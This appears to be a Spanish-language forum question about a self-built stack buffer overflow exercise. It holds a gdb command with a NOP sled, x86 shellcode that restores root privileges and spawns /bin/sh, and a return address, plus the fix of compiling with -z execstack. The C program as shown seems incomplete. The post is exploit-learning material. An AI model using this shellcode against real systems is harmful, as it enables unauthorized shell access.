Código
#include <stdio.h> #include <string.h> int main (int argc, char **argv){ char buffer[500]; return 0; }
Probamos con esta y la dirección del rip queda apuntando a la mitad del tamaño del buffer (dicen que se hace así):
Lo corrimos con gdb con esta entrada
Código:
r `perl -e 'print "\x90"x439 . "\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\x64\xcd"x10'`
Primero lo llenamos de NOP's luego la shellcode más la dirección de retorno, cabe aclarar estamos en un sistema de 32 bits.
Pero no logramos ejecutar la shellcode, ¿qué estamos haciendo mal?
SOLUCIONADO: Tenía que compilar con -z execstack